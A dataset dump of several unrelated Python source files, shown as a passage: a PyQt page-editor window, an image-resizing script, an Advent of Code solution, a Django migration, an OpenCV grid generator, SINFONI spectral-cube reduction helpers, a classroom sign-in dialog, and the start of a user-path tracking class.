entry[ATTR_FILE].with_name(entry[ATTR_FILE].name + '.metadir')\n self.make_sure_metadir_exists(self.root)\n self.tab_bar.open_entry(self.root)\n self.load_tab(0)\n self.title_label.setText(entry[ATTR_TITLE])\n self.setWindowTitle(entry[ATTR_TITLE])\n self.textarea.setFocus()\n # Message tray\n self.message_tray = terminal.MessageTray(self)\n self.terminal.show_message.connect(self.message_tray.add_message)\n self.textarea.resized.connect(self.adjust_tray)\n self.show()\n\n def closeEvent(self, ev: QtGui.QCloseEvent) -> None:\n success = self.save_tab()\n if success or self.force_quit_flag:\n self.closed.emit(self.entry_file)\n self.settings.hotkey_next_tab.changed.disconnect(self.hotkey_next_tab.setKey)\n self.settings.hotkey_prev_tab.changed.disconnect(self.hotkey_prev_tab.setKey)\n self.settings.hotkey_save.changed.disconnect(self.hotkey_save_tab.setKey)\n self.settings.hotkey_toggle_terminal.changed.disconnect(\n self.hotkey_toggle_terminal.setKey)\n ev.accept()\n else:\n ev.ignore()\n\n def wheelEvent(self, ev: QtGui.QWheelEvent) -> None:\n # If this isn't here textarea will call this method later\n # and we'll get an infinite loop\n if self.ignore_wheel_event:\n self.ignore_wheel_event = False\n return\n self.ignore_wheel_event = True\n self.textarea.wheelEvent(ev)\n ev.ignore()\n\n def adjust_tray(self) -> None:\n rect = self.textarea.geometry()\n self.message_tray.setGeometry(rect)\n\n def create_layout(self, title_label: QtWidgets.QLabel, tab_bar: TabBar,\n tab_counter: QtWidgets.QLabel, revision_notice: QtWidgets.QLabel,\n textarea: QtWidgets.QTextEdit, terminal: BackstoryTerminal) -> None:\n title_label.setAlignment(Qt.AlignCenter)\n tab_bar.setDrawBase(False)\n revision_notice.setAlignment(Qt.AlignCenter)\n revision_notice.hide()\n self.setLayout(\n VBoxLayout(\n title_label,\n HBoxLayout(\n Stretch(tab_bar, 1),\n tab_counter,\n ),\n revision_notice,\n HBoxLayout(\n Stretch(),\n Stretch(textarea, 1),\n Stretch(),\n ),\n self.terminal,\n )\n )\n\n def cmd_quit(self, arg: str) -> None:\n self.force_quit_flag = arg == '!'\n self.close()\n\n def connect_signals(self) -> None:\n self.tab_bar.set_tab_index.connect(self.set_tab_index)\n self.settings.backstory_viewer_formats.changed.connect(\n self.formatter.update_formats)\n t = self.terminal\n t.add_command(Command(\n 'new-page', 'New page',\n self.cmd_new_page,\n short_name='n',\n args=ArgumentRules.REQUIRED,\n arg_help={\n 'filename.txt': 'Create a new page with the specified filename.',\n },\n ))\n t.add_command(Command(\n 'delete-page', 'Delete page',\n self.cmd_delete_current_page,\n short_name='d',\n arg_help={\n '': 'Delete the open page.',\n '!': 'Confirm the deletion.',\n },\n ))\n t.add_command(Command(\n 'rename-page', 'Rename page',\n self.cmd_rename_current_page,\n short_name='r',\n args=ArgumentRules.REQUIRED,\n arg_help={\n 'Foobar': 'Rename the page to \"Foobar\".',\n },\n ))\n t.add_command(Command(\n 'save-page', 'Save page',\n self.cmd_save_current_page,\n short_name='s',\n args=ArgumentRules.NONE,\n ))\n t.add_command(Command(\n 'print-filename', 'Print info about the open file',\n self.cmd_print_filename,\n short_name='f',\n arg_help={\n '': 'Print the name of the active file.',\n 'c': 'Print the last modified date of the active file.',\n },\n ))\n t.add_command(Command(\n 'count-words', \"Print the page's wordcount\",\n self.cmd_count_words,\n short_name='c',\n args=ArgumentRules.NONE,\n ))\n t.add_command(Command(\n 'quit', 'Quit',\n self.cmd_quit,\n short_name='q',\n arg_help={\n '': 'Close the window.',\n '!': 'Force close the window.',\n },\n ))\n t.add_command(Command(\n 'revision-control', 'Revision control',\n self.cmd_revision_control,\n short_name='#',\n arg_help={\n '': 'Show latest revision.',\n '+': 'Add new revision.',\n '2': 'Show revision 2 (works with any number).',\n '#': 'Print current revision.',\n },\n ))\n t.add_command(Command(\n 'external-edit', 'Open in external program/editor',\n self.cmd_external_edit,\n short_name='x',\n args=ArgumentRules.OPTIONAL,\n ))\n t.add_command(Command(\n 'search-and-replace', 'Search/replace',\n self.searcher.search_or_replace,\n short_name='/',\n args=ArgumentRules.REQUIRED,\n strip_input=False,\n arg_help={\n 'foo': 'Search for \"foo\".',\n 'foo/b': (\n 'Search backwards for \"foo\". (Can be combined with the '\n 'other flags in any order.)'\n ),\n 'foo/i': (\n 'Search case-insensitively for \"foo\". '\n '(Can be combined with the other flags in any order.)'\n ),\n 'foo/w': (\n 'Search for \"foo\", only matching whole words. '\n '(Can be combined with the other flags in any order.)'\n ),\n 'foo/bar/': (\n 'Replace the first instance of \"foo\" with \"bar\", '\n \"starting from the cursor's position.\"\n ),\n 'foo/bar/[biw]': (\n 'The flags works just like in the search action.'\n ),\n 'foo/bar/a': (\n 'Replace all instances of \"foo\" with \"bar\". '\n '(Can be combined with the other flags in any order.)'\n )\n },\n ))\n\n def toggle_terminal(self) -> None:\n if self.textarea.hasFocus():\n self.terminal.show()\n self.terminal.input_field.setFocus()\n else:\n self.terminal.hide()\n self.textarea.setFocus()\n\n def update_tab_counter(self) -> None:\n w = len(str(self.tab_bar.count()))\n self.tab_counter.setText(f'{self.tab_bar.currentIndex()+1:>{w}}/{self.tab_bar.count()}')\n\n def save_tab(self) -> bool:\n \"\"\"\n Attempt to save the active tab, both the text and the scrollbar/cursor\n position.\n\n Return True if it succeeds, return False if it fails.\n \"\"\"\n if self.revision_active:\n return True\n current_tab = self.tab_bar.currentIndex()\n if self.textarea.document().isModified():\n try:\n file = self.tab_bar.current_page_file()\n first_line = read_metadata(file)[0]\n data = self.textarea.toPlainText()\n file.write_text(first_line + '\\n' + data)\n except Exception as e:\n print(str(e))\n self.terminal.error('Something went wrong when saving! (Use q! to force)')\n return False\n cursor_pos = self.textarea.textCursor().position()\n scroll_pos = self.textarea.verticalScrollBar().sliderPosition()\n self.tab_bar.set_page_position(current_tab, cursor_pos, scroll_pos)\n self.textarea.document().setModified(False)\n return True\n\n def load_tab(self, new_tab: int) -> None:\n \"\"\"\n Load a new tab with the correct data and scrollbar/cursor position.\n\n Note that this does not in any way save existing data.\n \"\"\"\n self.tab_bar.setCurrentIndex(new_tab)\n self.update_tab_counter()\n data = read_metadata(self.current_page_path())[1]\n self.textarea.setPlainText(data)\n self.textarea.document().setModified(False)\n # Set the scrollbar/cursor positions\n cursor_pos, scroll_pos = self.tab_bar.get_page_position(new_tab)\n tc = self.textarea.textCursor()\n tc.setPosition(min(cursor_pos, self.textarea.document().characterCount() - 1))\n self.textarea.setTextCursor(tc)\n self.textarea.verticalScrollBar().setSliderPosition(scroll_pos)\n\n def set_tab_index(self, new_tab: int) -> None:\n \"\"\"\n This is called whenever the tab is changed, i.e. when either of these\n things happen:\n * left mouse press on tab\n * mouse wheel scroll event on tab\n * ctrl pgup/pgdn\n \"\"\"\n if self.revision_active:\n self.revision_active = False\n self.revision_notice.hide()\n self.load_tab(new_tab)\n else:\n # Save the old tab if needed\n success = self.save_tab()\n if success:\n # Load the new tab\n self.load_tab(new_tab)\n\n def make_sure_metadir_exists(self, root: Path) -> None:\n \"\"\"\n Create a directory with a stub page if none exist.\n \"\"\"\n if not root.exists():\n root.mkdir()\n for fname, title in self.settings.backstory_default_pages.value:\n json_data = json.dumps(generate_page_metadata(title))\n (root / fname).write_text(json_data + '\\n', encoding='utf-8')\n\n def current_page_path(self) -> Path:\n \"\"\" Return the current page's full path, including root dir \"\"\"\n return self.tab_bar.current_page_file()\n\n # ======= COMMANDS ========================================================\n\n def cmd_new_page(self, fname: str) -> None:\n file = self.root / fname\n if file.exists():\n self.terminal.error('File already exists')\n return\n title = fix_title(file)\n try:\n new_tab = self.tab_bar.add_page(title, file)\n except KeyError as e:\n self.terminal.error(e.args[0])\n else:\n file.write_text(json.dumps(generate_page_metadata(title)) + '\\n')\n # Do this afterwards to have something to load into textarea\n self.set_tab_index(new_tab)\n\n def cmd_delete_current_page(self, arg: Optional[str]) -> None:\n if arg != '!':\n self.terminal.error('Use d! to confirm deletion')\n return\n try:\n file = self.tab_bar.remove_page()\n except IndexError as e:\n self.terminal.error(e.args[0])\n else:\n self.load_tab(self.tab_bar.currentIndex())\n file.unlink()\n\n def cmd_rename_current_page(self, title: str) -> None:\n if not title.strip():\n old_title = self.tab_bar.pages[self.tab_bar.currentIndex()][0]\n self.terminal.prompt(f'r {old_title}')\n return\n try:\n self.tab_bar.rename_page(title)\n except KeyError as e:\n self.terminal.error(e.args[0])\n else:\n file = self.current_page_path()\n first_line, data = read_metadata(file)\n json_data = json.loads(first_line)\n json_data['title'] = title\n file.write_text(json.dumps(json_data) + '\\n' + data)\n\n def cmd_save_current_page(self) -> None:\n self.save_tab()\n\n def cmd_print_filename(self, arg: Optional[str]) -> None:\n file = self.current_page_path()\n if arg == 'c':\n date = json.loads(read_metadata(file)[0])['created']\n self.terminal.print_(f'File created at {date}')\n else:\n self.terminal.print_(self.tab_bar.current_page_file().name)\n\n def cmd_count_words(self) -> None:\n wc = len(re.findall(r'\\S+', self.textarea.document().toPlainText()))\n self.terminal.print_(f'Words: {wc}')\n\n def cmd_revision_control(self, arg: Optional[str]) -> None:\n file = self.current_page_path()\n json_data: PageMetadata = json.loads(read_metadata(file)[0])\n if not arg:\n if not self.revision_active:\n self.terminal.error('Already showing latest revision')\n else:\n current_tab = self.tab_bar.currentIndex()\n self.set_tab_index(current_tab)\n elif arg == '+':\n if self.revision_active:\n self.terminal.error(\"Can't create new revision when viewing an old one\")\n return\n saved = self.save_tab()\n if saved:\n # Do this again in case something got saved before\n data = read_metadata(file)[1]\n rev = json_data['revision']\n shutil.copy2(file, file.with_name(f'{file.name}.rev{rev}'))\n json_data['revision'] += 1\n json_data['revision created'] = datetime.now().isoformat()\n file.write_text(json.dumps(json_data) + '\\n' + data)\n self.terminal.print_(f'Revision increased to {rev + 1}')\n # Show a certain revision\n elif arg.isdigit():\n revfname = file.with_name(f'{file.name}.rev{arg}')\n if not revfname.exists():\n self.terminal.error(f'Revision {arg} not found')\n return\n saved = self.save_tab()\n if not saved:\n return\n try:\n data = read_metadata(revfname)[1]\n except Exception as e:\n print(str(e))\n self.terminal.error('Something went wrong when loading the revision')\n else:\n self.textarea.setPlainText(data)\n self.textarea.document().setModified(False)\n self.revision_active = True\n changed_date = datetime.fromtimestamp(revfname.stat().st_mtime)\n self.revision_notice.setText(\n f'Showing revision {arg}. Changes will not be saved.\\n'\n f'Last modified: {changed_date}'\n )\n self.revision_notice.show()\n elif arg == '#':\n self.terminal.print_(f'Current revision: {json_data[\"revision\"]}')\n else:\n self.terminal.error(f'Unknown argument: \"{arg}\"')\n\n def cmd_external_edit(self, arg: str) -> None:\n abbrev = arg.strip() or 'default'\n if abbrev not in self.settings.external_commands.value:\n self.terminal.error('No matching external command')\n return\n self.terminal.print_(run_external_command(\n self.settings.external_commands.value[abbrev],\n self.entry.as_dict()\n ))\n\n\nclass BackstoryTerminal(terminal.Terminal):\n def __init__(self, parent: QtWidgets.QWidget, history_file: Path) -> None:\n super().__init__(parent, history_file=history_file)\n self.output_field.hide()\n self.hide()\n","sub_path":"sapfo/backstorywindow.py","file_name":"backstorywindow.py","file_ext":"py","file_size_in_byte":26426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"596840628","text":"#!/usr/bin/python\n# -*- encoding:UTF-8-*-\n# 用一段代码来压缩图片大小。提示,可以使用 Pillow 库来解决。\n# 实现单张图片的压缩不难,所以附加题,将这段代码制作成一个命令行工具,使其可以:\n# 指定要压缩的图片文件\n# 如果指定的是一个目录,则压缩整个目录里的图片\n# 指定压缩的比率\n# 指定输出的文件路径\n# 选择是否保留原始图片\n# 推荐使用 argparse 模块实现。\nimport argparse\nimport os\nfrom PIL import Image\n\n#获取参数\nparser = argparse.ArgumentParser(description='批量压缩保存图片')\n\nhelp_pic_addr = '某张图片地址或者某个文件夹地址:支持相对地址和绝对地址'\nparser.add_argument('--addr',type=str,help=help_pic_addr,default=None)\nargs = parser.parse_args()\n\n#判断地址里文件能否打开\ndef is_img(addr):\n #尝试打开该地址\n #不能被打开可能数路径错误或者文件类型错误\n try:\n im = Image.open(addr)\n return True\n except Exception as e:\n print('处理{}文件时发生错误,已经跳过该文件'.format(addr))\n return False\n\n#获取文件路径\ndef get_pics_from_dir(path):\n #遍历指定文件夹\n #将所有图片地址添加到列表res\n res = []\n for root,dirs,files in os.walk(path):\n for f in files:\n addr = os.path.join(root,f) #获取该路径的文件,如c:/test/test.jpg\n if is_img(addr):\n res.append(addr) #如果该路径文件能被打开,则把该路径文件添加到列表\n return res\n\nhelp_ratio = 0.5\npath =r'C:/Python/test/charpg/'\nc = get_pics_from_dir(path)\nfor file in c:\n #print(file)\n im = Image.open(file)\n weight,height = im.size\n w = int(weight*help_ratio)\n h = int(height*help_ratio)\n reIm = im.resize((w,h))\n name = file.split('/')[-1] #将file按/分割,最后一个元素是xx.jpg,它是list的[-1],list[0]是第一个元素。\n # print(name)\n #查看目的文件夹是否已经存在该文件名,如果存在则在前面添加_\n # file_path = os.path.join(path,name)\n # while os.path.exists(file_path):\n # name = '_'+name\n # file_path = os.path.join(path,name)\n # reIm.save(file_path)\n # break\n while os.path.exists(file):\n name = '_'+name\n file = os.path.join(path,name)\n #file_path = os.path.join(path,name)\n reIm.save(file)\n break #这里需要break,要不一直循环。\n print(file)\n print('文件{0}经处理后保存为{1}'.format(file,name))\n\n\n # reIm.save(r'C:\\Python\\test\\charpg\\snow1.jpg')","sub_path":"test/自幂数.py","file_name":"自幂数.py","file_ext":"py","file_size_in_byte":2655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"513790250","text":"#Python 3.6.4\nfrom collections import defaultdict\n\n\nwith open(\"input.txt\", \"r\") as f:\n\tinput = f.read().split()\n\t\n# convert maps\n# turns each room into {\"x\":int, \"y\":int, \"h\":int, \"w\":int}\nrooms = []\nfor i in range(len(input)):\n\tif i % 4 == 0:\n\t\tid = input[i]\n\t\tx, y = input[i+2][:-1].split(\",\")\n\t\th, w = input[i+3].split(\"x\")\n\t\troom_dict = {\"id\":id, \"x\":int(x), \"y\":int(y), \"h\":int(h), \"w\":int(w)}\n\t\trooms.append(room_dict)\n\n\n\n\n#rooms to points\n#room = {\"x\":5, \"y\":5, \"h\":2, \"w\":2} -> [(5, 5), (5, 6), (6, 5), (6, 6)]\ndef convert(room):\n\tpoints = []\n\tfor i in range(room[\"h\"]):\n\t\tfor j in range(room[\"w\"]):\n\t\t\tpoints.append((i+room[\"x\"], j+room[\"y\"]))\n\treturn points\n\n#just a default dict, if any point > 1 it overlaps\npoints = defaultdict(int)\t\nfor room in rooms:\n\troom = convert(room)\n\tfor point in room:\n\t\tpoints[str(point)] += 1\n\n#overlaps = points.values() > 1 ; len(overlaps) = overlapped points.\noverlaps = 0\nfor point in points:\n\tif points[point] > 1:\n\t\toverlaps += 1\n\t\t\nprint(overlaps)\n\t\t","sub_path":"2018/03/p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"53256177","text":"import cv2\nimport numpy as np\n\nclass Imagen:\n def __init__(self,arregloColores,tamanoMatriz,numColores,numImagen):\n self.arregloColores = arregloColores\n self.tamanoMatriz = tamanoMatriz\n self.numColores = numColores\n self.numImagen = numImagen\n \n def generarImagen(self): \n img = cv2.imread('base.jpg',cv2.IMREAD_COLOR)\n tamanoCelda = int(700/(self.tamanoMatriz + 8))\n #tamanoCelda = int(700/(self.tamanoMatriz + 10))+1\n\n print('Arreglo Colores: ',self.arregloColores)\n\n #AGREGAR BORDE DE DETECCION\n cv2.rectangle(img,(2*tamanoCelda,2*tamanoCelda),((self.tamanoMatriz+6)*tamanoCelda,(self.tamanoMatriz+6)*tamanoCelda),(0,0,0),-1)\n #cv2.rectangle(img,(2*tamanoCelda,2*tamanoCelda),((self.tamanoMatriz+8)*tamanoCelda,(self.tamanoMatriz+8)*tamanoCelda),(0,0,0),-1)\n \n #AGREGAR BORDE DE IMAGEN\n cv2.rectangle(img,(0,0),(699,699),(0,0,0),1)\n \n cv2.rectangle(img,(4*tamanoCelda,4*tamanoCelda),((self.tamanoMatriz+5)*tamanoCelda,(self.tamanoMatriz+5)*tamanoCelda),(255,255,255),-1)\n \n \n #AGREGAR COLORES DE REFERENCIA\n if self.numColores == 2:\n colReferencia = np.array([0,0,0])\n elif self.numColores == 4:\n colReferencia = np.array([2,3,4])\n elif self.numColores == 8:\n colReferencia = np.array([0,2,3,4,5,6,7])\n\n for x in range(colReferencia.size):\n ##SUPERIOR\n pt1 = (tamanoCelda*(((x+1)*2)+1) , (2)*tamanoCelda)\n pt2 = (tamanoCelda*(((x+1)*2)+2) , (3)*tamanoCelda)\n col = self.Color(colReferencia[x])\n cv2.rectangle(img,pt1,pt2,col,-1)\n\n ##DERECHA\n pt1 = ((5+self.tamanoMatriz)*tamanoCelda,tamanoCelda*(((x+1)*2)+1))\n pt2 = ((6+self.tamanoMatriz)*tamanoCelda,tamanoCelda*(((x+1)*2)+2))\n col = self.Color(colReferencia[x])\n cv2.rectangle(img,pt1,pt2,col,-1)\n\n ##INFERIOR\n pt1 = (tamanoCelda*((((x+1)*2)) + (self.tamanoMatriz+5-(2*colReferencia.size))),(5+self.tamanoMatriz)*tamanoCelda)\n pt2 = (tamanoCelda*((((x+1)*2)) + (self.tamanoMatriz+4-(2*colReferencia.size))),(6+self.tamanoMatriz)*tamanoCelda)\n col = self.Color(colReferencia[x])\n cv2.rectangle(img,pt1,pt2,col,-1)\n \n cv2.rectangle(img,(2*tamanoCelda,(4+self.tamanoMatriz)*tamanoCelda),(3*tamanoCelda,(5+self.tamanoMatriz)*tamanoCelda),(255,255,255),-1) \n cv2.rectangle(img,(3*tamanoCelda,3*tamanoCelda),((self.tamanoMatriz+5)*tamanoCelda,(self.tamanoMatriz+5)*tamanoCelda),(255,255,255),-1)\n #cv2.rectangle(img,(4*tamanoCelda,4*tamanoCelda),((self.tamanoMatriz+6)*tamanoCelda,(self.tamanoMatriz+6)*tamanoCelda),(255,255,255),-1) \n \n for y in range(self.tamanoMatriz):\n for x in range(self.tamanoMatriz):\n pt1=((x+4)*tamanoCelda,(y+4)*tamanoCelda)\n pt2=((x+5)*tamanoCelda,(y+5)*tamanoCelda)\n valorCelda = self.arregloColores[(y*self.tamanoMatriz)+x]\n col = self.Color(valorCelda)\n cv2.rectangle(img,pt1,pt2,col,-1)\n\n #cv2.imshow('image',img)\n nombreImagen = 'Imagen' + str(self.numImagen)+'.png'\n cv2.imwrite(nombreImagen,img)\n #cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n def Color(self,valorCelda):\n if valorCelda == 0:\n col = (255,255,255)\n elif valorCelda == 1:\n col = (0,0,0)\n elif valorCelda == 2:\n col = (0,0,255)\n elif valorCelda == 3:\n col = (0,255,0)\n elif valorCelda == 4:\n col = (255,0,0)\n elif valorCelda == 5:\n col = (255,0,255)\n elif valorCelda == 6:\n col = (255,255,0)\n elif valorCelda == 7:\n col = (0,255,255)\n \n return col\n\n\n\n","sub_path":"Imagen2.py","file_name":"Imagen2.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"385053163","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('nodeconductor_jira', '0003_add_issue_fields'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='project',\n name='available_for_all',\n field=models.BooleanField(default=False, help_text=b'Allow access to any user'),\n ),\n ]\n","sub_path":"src/nodeconductor_jira/migrations/0004_project_available_for_all.py","file_name":"0004_project_available_for_all.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"169930680","text":"########################################################################\n# A colletion of useful functions for reduction of VLT Sinfoini data. #\n# #\n# author: Ryleigh Davis #\n########################################################################\n\nfrom fits_dataclass import Image, ImageSet, Transform\nimport numpy as np\nfrom photutils import centroid_2dg\nimport copy\n\n### BASIC IMAGE UTILS ###\n\ndef get_wave(img):\n \"\"\" Use the image header values (from the official VLT Sinfoini data\n reduction pipeline) to identify the wavelength of each layer in the\n spectral cube.\n \n INPUT: \n img -> Image: Image(data, header)\n \n OUTPUT: \n wave -> arr: array containing the wavelength along the spectral \n cube data contained in img\n \"\"\"\n #TO DO: Add wavelength to Image dataclass i.e. spectral cube\n cen_lambda = img.header['CRVAL3']\n cen_pix = int(img.header['CRPIX3'])\n micron_per_pix = img.header['CDELT3']\n \n wave = np.zeros(img.shape[0])\n for i in range(img.shape[0]):\n wave[i] = cen_lambda + (i-cen_pix)*micron_per_pix\n \n return wave\n\n\n\n\n### TELLURIC CORRECTION (VIA REFERENCE STAR) ###\n\ndef get_center(img):\n \"\"\" Return the center x,y coordinate of a reference star in \n an image using gaussian centering.\"\"\"\n\n x, y = centroid_2dg(img)\n return (x,y)\n\ndef telluric_correct(img, std, box_size=30):\n '''Perform telluric star division on an image.\n \n INPUTS:\n img: Image: image to be corrected (Europa)\n std: Image: standard star image\n box_size: int: size of box to sum std star'''\n \n #TO DO: Be able to scale absorption lines\n # - separate continuum and absorption line removal\n \n #Get center of std star at mid-wavelength\n cen_wave = int(img.data.shape[0]/2)\n x,y=get_center(std.data[cen_wave])\n \n #Sum std star in a box of width box_size around the center\n summed = np.array([np.sum(std.data[i][int(x-box_size/2):int(x+box_size/2),\n int(y-box_size/2):int(y+box_size/2)]\n ) for i in range(std.shape[0])])\n \n #Divide each spaxel by summed\n \n #TO DO: assert len(summed) == len(spaxel)\n \n \n div = np.zeros(img.data.shape)\n\n for i in range(img.data.shape[1]):\n for j in range(img.data.shape[2]):\n \n div[:,i,j] = img.data[:,i,j].data/summed\n \n #Add std star file name to img header\n h = copy.copy(img.header)\n h['StdCorr'] = std.header['ARCFILE']\n \n return Image(_data=div, header=h)\n\n\n\n### Combine corner and center images into a single image cube ###\n\ndef get_mask(imgs):\n \n med = np.nanmedian(np.dstack(imgs[0].data), axis=2)\n \n rolled = med - np.roll(med,2)\n \n mask = abs(rolled) < 0.4*np.std(rolled)\n\n #Mask out Border\n #TO DO: Maybe automate finding this region?\n mask[0:7,:] = False\n mask[:,0:4] = False\n mask[59:,:] = False\n mask[:,59:] = False\n \n return mask\n\ndef get_img_shift(RA1, DEC1, RA2, DEC2, PA=0, \n plate_scale=(0.0125, 0.0125)):\n \"\"\" Return x,y shift in pixel space for image based on RA\n and DEC pointing information.\"\"\"\n \n if PA == 0:\n #Make sure PA is 0\n \n delta_RA = RA1 - RA2\n delta_DEC = DEC2 - DEC1\n \n x_shift = delta_RA*3600 #in arcsec\n y_shift = delta_DEC*3600 #in arcsec\n \n return x_shift/plate_scale[0], y_shift/plate_scale[1]\n \n else:\n #TO DO: update to handle different PA\n return None\n \ndef get_img_loc(x_shift, y_shift):\n \"\"\"Return lower x and y coordinate for image on combined image\"\"\"\n \n return x_shift+32, y_shift+32\n\ndef get_comb_mask(imgs):\n \"\"\"Get a combined mask\n 0: no data\n 1-4: corner data, img i\n 5: center data\n 6-9: corner and center data, 5+i\"\"\"\n\n comb_mask = np.zeros((128,128)) #Blank combined mask\n\n mask = get_mask(imgs)\n\n for i in range(1,len(imgs)):\n x_shift, y_shift = get_img_shift(imgs[0].header['CRVAL1'], \n imgs[0].header['CRVAL2'], \n imgs[i].header['CRVAL1'], \n imgs[i].header['CRVAL2'])\n \n #TO DO: Update to be able to have subpixel accuracy\n x_shift, y_shift = int(x_shift), int(y_shift) \n \n lx,ly = get_img_loc(x_shift, y_shift)\n \n comb_mask[ly:ly+64,lx:lx+64] = i*mask\n \n #Add in center img\n for i in range(mask.shape[0]):\n for j in range(mask.shape[1]):\n\n if mask[i,j] == 1:\n if comb_mask[32+i,32+j] == 0:\n comb_mask[32+i,32+j] = 5 #Take center data\n else:\n comb_mask[32+i,32+j] = 5+comb_mask[32+i,32+j] #Corner and center data\n #otherwise take corner data (1-4 depending on img)\n \n return comb_mask\n","sub_path":"VLT_reduction_utils.py","file_name":"VLT_reduction_utils.py","file_ext":"py","file_size_in_byte":5051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"613768582","text":"# -*-coding:utf-8-*-\n\n# 功能:应该是一个线程管理器,可以统一结束线程,可以显示子线程的信息,可以统计\n# 时间模块已经很好实现\n\nimport sys\nimport config\nimport requests\nfrom PyQt5.QtGui import QKeyEvent, QKeySequence, QPixmap, QStandardItemModel, QStandardItem\n\nfrom in_class_teacher_ui import Ui_Dialog\nfrom PyQt5.QtCore import pyqtSlot, Qt, QObject, QEvent, QTime\nfrom PyQt5.QtWidgets import *\n\nclass In_class_teacher(QDialog,Ui_Dialog):\n def __init__(self):\n super(In_class_teacher, self).__init__()\n self.setupUi(self)\n self.setTable()\n self.show()\n self.timer=QTime()\n\n \"用Qtimer加一个刷新显示数据库\"\n # 绑定事件\n #self.timer.timeout.connect(self.reflesh)\n self.endClassBtn.clicked.connect(self.endClass)\n object = QObject()\n # 事件过滤器,防止挂掉\n\n def setTable(self):\n # 初始化表格\n self.class_table_model = QStandardItemModel(4, 2)\n self.class_table_model.setHorizontalHeaderLabels([\"学生学号\", \"学生姓名\"])\n # self.classTable.setModel(self.class_table_model)\n # !!!!!这一句,平衡表格\n self.signinTable.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch)\n\n def reflesh(self):\n #reportID由上一个窗口获得\n reportID=6\n showsign_url = 'http://{}:5000/sign/{}'\n url = showsign_url.format(config.IP, reportID)\n try:\n response = requests.get(url)\n d = response.json()\n # 填充表格\n # row=self.classTable\n row = 0\n clu = 1\n for key in d:\n t = d[key]\n for i in range(2):\n item = QStandardItem(str(t[i]))\n self.class_table_model.setItem(row, i, item)\n row += 1\n self.signinTable.setModel(self.class_table_model)\n except:\n print('Wrong!')\n\n\n def eventFilter(self, object, event):\n if object == self.edit:\n if event.type() == QEvent.MouseMove or event.type() == QEvent.MouseButtonDblClick:\n return True\n elif event.type() == QEvent.KeyPress:\n key = QKeyEvent(event)\n if key.matches(QKeySequence.SelectAll) or key.matches(QKeySequence.Copy) or key.matches(\n QKeySequence.Paste):\n return True\n return QDialog.eventFilter(self, object, event)\n\n @pyqtSlot()\n def endClass(self):\n reply=QMessageBox.question(self,'下课','确认下课?')\n if reply==QMessageBox.Yes:\n self.close()\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n action = In_class_teacher()\n sys.exit(app.exec_())\n\n\n","sub_path":"Online_Teaching_Helper/in_class_teacher.py","file_name":"in_class_teacher.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"457792143","text":"# System imports\nimport datetime\n\n# Third - party imports\nimport matplotlib.pyplot as plt\nfrom matplotlib import animation\nfrom tqdm import tqdm\n\n# Local source tree imports\nfrom structure.point import Point\nfrom structure.records import Records\nfrom managers.node import Node\nfrom managers.step_finder import StepFinder\nimport time\n\n\nclass User:\n \"\"\" A simple wrapper to represent the user data (bluetooth points, metadata collected along the way, ...).\n\n :param bluetooth_start_point: The starting Point of our user path.\n :type bluetooth_start_point: :class:`Point <structure.point.Point>`\n :ivar bluetooths: The bluetooth points of the user.\n :vartype bluetooths: :obj:`list` of :class:`Points <structure.point.Point>`\n :ivar int u_id: The user id (always < 0).\n :ivar root: The root Node of the user path graph.\n :vartype root: A :class:`Node <Node>`\n :rtype: A :class:`User <User>`\n \"\"\"\n\n def __init__(self, bluetooth_start_point):\n assert bluetooth_start_point.type == Point.BLUETOOTH\n assert bluetooth_start_point.t_id < 0\n self.u_id = bluetooth_start_point.get_u_id()\n self.bluetooths = [bluetooth_start_point]\n self.root = Node(bluetooth_start_point.r_id, bluetooth_start_point.t_id, sure=True)\n\n def get_points(self):\n \"\"\" This methods gives another view to the positions of the user: by time.\n\n :return: The list of the record ids of the points the user can be at each time step.\n :rtype: :obj:`list` :obj:`list` of :obj:`int`\"\"\"\n # We have to do a graph traversal layer by layer\n points_layered = [[self.root.r_id]]\n last_layer = [self.root]\n current_layer = []\n while True:\n # We collect all the children\n for node in last_layer:\n if node.children is not None:\n current_layer.extend(node.children)\n # We collect the related points\n current_points = set() # to not have duplicates\n for node in current_layer:\n current_points.add(node.r_id)\n if len(current_layer) > 0:\n # We update our layers\n points_layered.append(list(current_points))\n last_layer = current_layer\n current_layer = []\n else:\n return points_layered\n\n def get_single_points_ids(self):\n \"\"\" This methods gives the points we are sure the user will go through since there are the only point possible\n for the user at a given time.\n\n :return: The list of the record ids of the points we are positive the user will go through.\n :rtype: :obj:`list` of :obj:`int`\"\"\"\n sure_points = []\n points_layered = self.get_points()\n for layer in points_layered:\n if len(layer) == 1:\n sure_points.append(layer[0])\n return sure_points\n\n @staticmethod\n def _display_rec(db, plot, root_node, _color, max_nb=None):\n root_point = db.get_record(root_node.r_id)\n choices_taken = 0\n for next_node in root_node.children:\n next_point = db.get_record(next_node.r_id)\n plot.plot([root_point.x, next_point.x], [root_point.y, next_point.y], color=_color)\n User._display_rec(db, plot, next_node, _color=_color, max_nb=max_nb)\n choices_taken += 1\n if max_nb is not None and choices_taken == max_nb:\n return\n\n def display(self, db, max_nb_choices=None, _plot=None, _color='black'):\n \"\"\"\n Display a user traces\n :param db: Where to get the points data\n :type db: :class:`Database <point.database.Database>`\n :param int max_nb_choices: The max nb of choices to take each time there are many choices\n :param _plot: The plot where we should display. Otherwise will be created.\n :param _color: The color for the traces\n \"\"\"\n fig, plot = None, _plot\n if _plot is None: # pragma: no cover\n fig 